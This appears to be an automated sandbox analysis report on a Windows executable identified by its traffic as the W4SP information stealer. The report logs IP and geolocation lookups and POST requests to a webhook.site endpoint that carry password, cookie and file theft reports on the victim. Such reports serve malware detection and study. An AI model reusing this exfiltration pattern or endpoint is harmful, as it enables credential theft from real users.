                                                                                                                            Apr 4, 2023 09:04:21.269403934 CEST8.8.8.8192.168.2.60xe8c4No error (0)api4.ipify.org173.231.16.75A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:21.269403934 CEST8.8.8.8192.168.2.60xe8c4No error (0)api4.ipify.org64.185.227.155A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:21.269403934 CEST8.8.8.8192.168.2.60xe8c4No error (0)api4.ipify.org104.237.62.211A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:29.806058884 CEST8.8.8.8192.168.2.60xe7faNo error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:30.670967102 CEST8.8.8.8192.168.2.60xd140No error (0)webhook.site46.4.105.116A (IP address)IN (0x0001)false

                                                                                                                            HTTP Request Dependency Graph

                                                                                                                            • api.ipify.org
                                                                                                                            • geolocation-db.com
                                                                                                                            • webhook.site

                                                                                                                            HTTPS Proxied Packets

                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            0192.168.2.64971064.185.227.155443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:13 UTC0OUTGET / HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: api.ipify.org
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:13 UTC0INHTTP/1.1 200 OK
                                                                                                                            Content-Length: 14
                                                                                                                            Content-Type: text/plain
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:13 GMT
                                                                                                                            Vary: Origin
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:13 UTC0INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34
                                                                                                                            Data Ascii: 102.129.143.44


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            1192.168.2.649712159.89.102.253443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:13 UTC0OUTGET /jsonp/102.129.143.44 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: geolocation-db.com
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:13 UTC0INHTTP/1.1 200 OK
                                                                                                                            Server: nginx/1.14.0 (Ubuntu)
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:13 GMT
                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                            2023-04-04 07:04:13 UTC0INData Raw: 62 39 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: b9callback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.143.44","state":"California"})0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            10192.168.2.649721159.89.102.253443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:29 UTC5OUTGET /jsonp/102.129.143.44 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: geolocation-db.com
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:29 UTC6INHTTP/1.1 200 OK
                                                                                                                            Server: nginx/1.14.0 (Ubuntu)
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:29 GMT
                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                            2023-04-04 07:04:29 UTC6INData Raw: 62 39 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: b9callback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.143.44","state":"California"})0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            11192.168.2.64972246.4.105.116443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:30 UTC6OUTPOST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Content-Length: 509
                                                                                                                            Host: webhook.site
                                                                                                                            Content-Type: application/json
                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:30 UTC6OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 45 4e 47 49 4e 45 45 52 20 7c 20 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 31 34 34 30 36 34 31 33 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 7b 22 6e 61 6d 65 22 3a 20 22 49 6e 74 65 72 65 73 74 69 6e 67 20 66 69 6c 65 73 20 66 6f 75 6e 64 20 6f 6e 20 75 73 65 72 20 50 43 3a 22 2c 20 22 76 61 6c 75 65 22 3a 20 22 5c 6e 22 7d 5d 2c 20 22 61 75 74 68 6f 72 22 3a 20 7b 22 6e 61 6d 65 22 3a 20 22 57 34 53 50 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 7d 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 40 57 34 53 50 20 53 54 45 41 4c 45 52
                                                                                                                            Data Ascii: {"content": ":flag_us: - `user | 102.129.143.44 (United States)`", "embeds": [{"color": 14406413, "fields": [{"name": "Interesting files found on user PC:", "value": "\n"}], "author": {"name": "W4SP | File Stealer"}, "footer": {"text": "@W4SP STEALER
                                                                                                                            2023-04-04 07:04:31 UTC7INHTTP/1.1 200 OK
                                                                                                                            Server: nginx
                                                                                                                            Content-Type: text/plain; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Vary: Accept-Encoding
                                                                                                                            X-Request-Id: f57bcfa6-81ac-4471-9d71-b97bd7e4937e
                                                                                                                            X-Token-Id: 6ef9c344-b801-4707-b071-bfe96f5a7949
                                                                                                                            Cache-Control: no-cache, private
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:30 GMT
                                                                                                                            2023-04-04 07:04:31 UTC7INData Raw: 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: 0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            2192.168.2.64971346.4.105.116443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:14 UTC0OUTPOST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Content-Length: 443
                                                                                                                            Host: webhook.site
                                                                                                                            Content-Type: application/json
                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:14 UTC1OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 45 4e 47 49 4e 45 45 52 20 7c 20 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 57 34 53 50 20 5a 69 70 73 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 31 35 37 38 31 34 30 33 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 40 57 34 53 50 20 53 54 45 41 4c 45 52 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 39 36 33 31 31 34 33 34 39 38 37 37 31 36 32 30 30 34 2f
                                                                                                                            Data Ascii: {"content": ":flag_us: - `user | 102.129.143.44 (United States)`", "embeds": [{"title": "W4SP Zips", "description": "\n\n", "color": 15781403, "footer": {"text": "@W4SP STEALER", "icon_url": "https://cdn.discordapp.com/attachments/963114349877162004/
                                                                                                                            2023-04-04 07:04:14 UTC1INHTTP/1.1 200 OK
                                                                                                                            Server: nginx
                                                                                                                            Content-Type: text/plain; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Vary: Accept-Encoding
                                                                                                                            X-Request-Id: ca8b4a31-9e11-4958-9784-b1071b143a3c
                                                                                                                            X-Token-Id: 6ef9c344-b801-4707-b071-bfe96f5a7949
                                                                                                                            Cache-Control: no-cache, private
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:14 GMT
                                                                                                                            2023-04-04 07:04:14 UTC1INData Raw: 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: 0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            3192.168.2.64971164.185.227.155443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:14 UTC1OUTGET / HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: api.ipify.org
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:15 UTC1INHTTP/1.1 200 OK
                                                                                                                            Content-Length: 14
                                                                                                                            Content-Type: text/plain
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:14 GMT
                                                                                                                            Vary: Origin
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:15 UTC2INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34
                                                                                                                            Data Ascii: 102.129.143.44


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            4192.168.2.649714159.89.102.253443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:15 UTC2OUTGET /jsonp/102.129.143.44 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: geolocation-db.com
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:15 UTC2INHTTP/1.1 200 OK
                                                                                                                            Server: nginx/1.14.0 (Ubuntu)
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:15 GMT
                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                            2023-04-04 07:04:15 UTC2INData Raw: 62 39 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: b9callback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.143.44","state":"California"})0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            5192.168.2.64971546.4.105.116443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:15 UTC2OUTPOST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Content-Length: 554
                                                                                                                            Host: webhook.site
                                                                                                                            Content-Type: application/json
                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:15 UTC2OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 45 4e 47 49 4e 45 45 52 20 7c 20 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 57 34 53 50 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 5c 75 64 38 33 64 5c 75 64 64 31 31 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3a 6c 69 6e 6b 3a 20 5c 75 32 30 32 32 20 5b 77 34 73 70 50 61 73 73 77 6f 72 64 2e 74 78 74 5d 28 46 61 6c 73 65 29 22 2c 20 22 63 6f 6c 6f 72 22
                                                                                                                            Data Ascii: {"content": ":flag_us: - `user | 102.129.143.44 (United States)`", "embeds": [{"title": "W4SP | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n\ud83d\udd11 \u2022 **0** Passwords Found\n:link: \u2022 [w4spPassword.txt](False)", "color"
                                                                                                                            2023-04-04 07:04:15 UTC3INHTTP/1.1 200 OK
                                                                                                                            Server: nginx
                                                                                                                            Content-Type: text/plain; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Vary: Accept-Encoding
                                                                                                                            X-Request-Id: 62f431e9-b9f8-473c-8d56-2252b39de3b3
                                                                                                                            X-Token-Id: 6ef9c344-b801-4707-b071-bfe96f5a7949
                                                                                                                            Cache-Control: no-cache, private
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:15 GMT
                                                                                                                            2023-04-04 07:04:15 UTC3INData Raw: 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: 0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            6192.168.2.64971764.185.227.155443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:17 UTC3OUTGET / HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: api.ipify.org
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:17 UTC3INHTTP/1.1 200 OK
                                                                                                                            Content-Length: 14
                                                                                                                            Content-Type: text/plain
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:17 GMT
                                                                                                                            Vary: Origin
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:17 UTC3INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34
                                                                                                                            Data Ascii: 102.129.143.44


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            7192.168.2.649718159.89.102.253443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:17 UTC3OUTGET /jsonp/102.129.143.44 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: geolocation-db.com
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:17 UTC4INHTTP/1.1 200 OK
                                                                                                                            Server: nginx/1.14.0 (Ubuntu)
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:17 GMT
                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                            2023-04-04 07:04:17 UTC4INData Raw: 62 39 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: b9callback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.143.44","state":"California"})0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            8192.168.2.64971946.4.105.116443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:19 UTC4OUTPOST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Content-Length: 546
                                                                                                                            Host: webhook.site
                                                                                                                            Content-Type: application/json
                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:19 UTC4OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 45 4e 47 49 4e 45 45 52 20 7c 20 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 57 34 53 50 20 7c 20 43 6f 6f 6b 69 65 73 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3a 63 6f 6f 6b 69 65 3a 20 5c 75 32 30 32 32 20 2a 2a 33 2a 2a 20 43 6f 6f 6b 69 65 73 20 46 6f 75 6e 64 5c 6e 3a 6c 69 6e 6b 3a 20 5c 75 32 30 32 32 20 5b 77 34 73 70 43 6f 6f 6b 69 65 73 2e 74 78 74 5d 28 46 61 6c 73 65 29 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 31 34 34 30 36 34
                                                                                                                            Data Ascii: {"content": ":flag_us: - `user | 102.129.143.44 (United States)`", "embeds": [{"title": "W4SP | Cookies Stealer", "description": "**Found**:\n\n\n**Data:**\n:cookie: \u2022 **3** Cookies Found\n:link: \u2022 [w4spCookies.txt](False)", "color": 144064
                                                                                                                            2023-04-04 07:04:19 UTC5INHTTP/1.1 200 OK
                                                                                                                            Server: nginx
                                                                                                                            Content-Type: text/plain; charset=UTF-8
                                                                                                                            Transfer-Encoding: chunked
                                                                                                                            Connection: close
                                                                                                                            Vary: Accept-Encoding
                                                                                                                            X-Request-Id: 14264325-b7b4-442f-b0b3-101f4754f3bb
                                                                                                                            X-Token-Id: 6ef9c344-b801-4707-b071-bfe96f5a7949
                                                                                                                            Cache-Control: no-cache, private
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:19 GMT
                                                                                                                            2023-04-04 07:04:19 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                            Data Ascii: 0


                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                            9192.168.2.649720173.231.16.75443C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                                            2023-04-04 07:04:29 UTC5OUTGET / HTTP/1.1
                                                                                                                            Accept-Encoding: identity
                                                                                                                            Host: api.ipify.org
                                                                                                                            User-Agent: Python-urllib/3.10
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:29 UTC5INHTTP/1.1 200 OK
                                                                                                                            Content-Length: 14
                                                                                                                            Content-Type: text/plain
                                                                                                                            Date: Tue, 04 Apr 2023 07:04:29 GMT
                                                                                                                            Vary: Origin
                                                                                                                            Connection: close
                                                                                                                            2023-04-04 07:04:29 UTC5INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34
                                                                                                                            Data Ascii: 102.129.143.44


                                                                                                                            Statistics

                                                                                                                            CPU Usage

                                                                                                                            Click to jump to process

                                                                                                                            Memory Usage

                                                                                                                            Click to jump to process

                                                                                                                            High Level Behavior Distribution

                                                                                                                            Click to dive into process behavior distribution

                                                                                                                            Behavior

                                                                                                                            Click to jump to process

                                                                                                                            System Behavior

                                                                                                                            General

                                                                                                                            Target ID:0
                                                                                                                            Start time:09:04:03
                                                                                                                            Start date:04/04/2023
                                                                                                                            Path:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            Wow64 process (32bit):false
                                                                                                                            Commandline:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            Imagebase:0x7ff7da8d0000
                                                                                                                            File size:9489558 bytes
                                                                                                                            MD5 hash:B91A84A6995CB793EF6417222281295B
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low

                                                                                                                            General

                                                                                                                            Target ID:1
                                                                                                                            Start time:09:04:09
                                                                                                                            Start date:04/04/2023
                                                                                                                            Path:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            Wow64 process (32bit):false
                                                                                                                            Commandline:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            Imagebase:0x7ff7da8d0000
                                                                                                                            File size:9489558 bytes
                                                                                                                            MD5 hash:B91A84A6995CB793EF6417222281295B
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Reputation:low

                                                                                                                            Disassembly

                                                                                                                            Reset < >

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:12.3%
                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                              Signature Coverage:17%
                                                                                                                              Total number of Nodes:2000
                                                                                                                              Total number of Limit Nodes:67
                                                                                                                              execution_graph 17971 7ff7da8f95b4 17974 7ff7da8e4248 LeaveCriticalSection 17971->17974 18801 7ff7da8f942e 18803 7ff7da8f943e 18801->18803 18805 7ff7da8e4248 LeaveCriticalSection 18803->18805 17871 7ff7da8ee82c 17872 7ff7da8eea1e 17871->17872 17874 7ff7da8ee86e _isindst 17871->17874 17873 7ff7da8e4394 _get_daylight 11 API calls 17872->17873 17891 7ff7da8eea0e 17873->17891 17874->17872 17877 7ff7da8ee8ee _isindst 17874->17877 17875 7ff7da8dacf0 _wfindfirst32i64 8 API calls 17876 7ff7da8eea39 17875->17876 17892 7ff7da8f5304 17877->17892 17882 7ff7da8eea4a 17884 7ff7da8e9d20 _wfindfirst32i64 17 API calls 17882->17884 17886 7ff7da8eea5e 17884->17886 17889 7ff7da8ee94b 17889->17891 17916 7ff7da8f5348 17889->17916 17891->17875 17893 7ff7da8f5313 17892->17893 17897 7ff7da8ee90c 17892->17897 17923 7ff7da8ef6d8 EnterCriticalSection 17893->17923 17898 7ff7da8f4708 17897->17898 17899 7ff7da8f4711 17898->17899 17903 7ff7da8ee921 17898->17903 17900 7ff7da8e4394 _get_daylight 11 API calls 17899->17900 17901 7ff7da8f4716 17900->17901 17902 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 17901->17902 17902->17903 17903->17882 17904 7ff7da8f4738 17903->17904 17905 7ff7da8f4741 17904->17905 17906 7ff7da8ee932 17904->17906 17907 7ff7da8e4394 _get_daylight 11 API calls 17905->17907 17906->17882 17910 7ff7da8f4768 17906->17910 17908 7ff7da8f4746 17907->17908 17909 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 17908->17909 17909->17906 17911 7ff7da8f4771 17910->17911 17912 7ff7da8ee943 17910->17912 17913 7ff7da8e4394 _get_daylight 11 API calls 17911->17913 17912->17882 17912->17889 17914 7ff7da8f4776 17913->17914 17915 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 17914->17915 17915->17912 17924 7ff7da8ef6d8 EnterCriticalSection 17916->17924 14880 7ff7da8e84a4 14881 7ff7da8e84b4 14880->14881 14884 7ff7da8e84bd 14880->14884 14881->14884 14886 7ff7da8e7fb4 14881->14886 14887 7ff7da8e7fcd 14886->14887 14888 7ff7da8e7fc9 14886->14888 14907 7ff7da8f1acc GetEnvironmentStringsW 14887->14907 14888->14884 14899 7ff7da8e8374 14888->14899 14891 7ff7da8e7fe6 14914 7ff7da8e8134 14891->14914 14892 7ff7da8e7fda 14893 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14892->14893 14893->14888 14896 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14897 7ff7da8e800d 14896->14897 14898 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14897->14898 14898->14888 14900 7ff7da8e8397 14899->14900 14901 7ff7da8e83ae 14899->14901 14900->14884 14901->14900 14902 7ff7da8edc90 _get_daylight 11 API calls 14901->14902 14903 7ff7da8ee740 MultiByteToWideChar _fread_nolock 14901->14903 14904 7ff7da8e8422 14901->14904 14906 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14901->14906 14902->14901 14903->14901 14905 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14904->14905 14905->14900 14906->14901 14908 7ff7da8e7fd2 14907->14908 14909 7ff7da8f1af0 14907->14909 14908->14891 14908->14892 14933 7ff7da8eca1c 14909->14933 14911 7ff7da8f1b27 memcpy_s 14912 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 14911->14912 14913 7ff7da8f1b47 FreeEnvironmentStringsW 14912->14913 14913->14908 14915 7ff7da8e815c 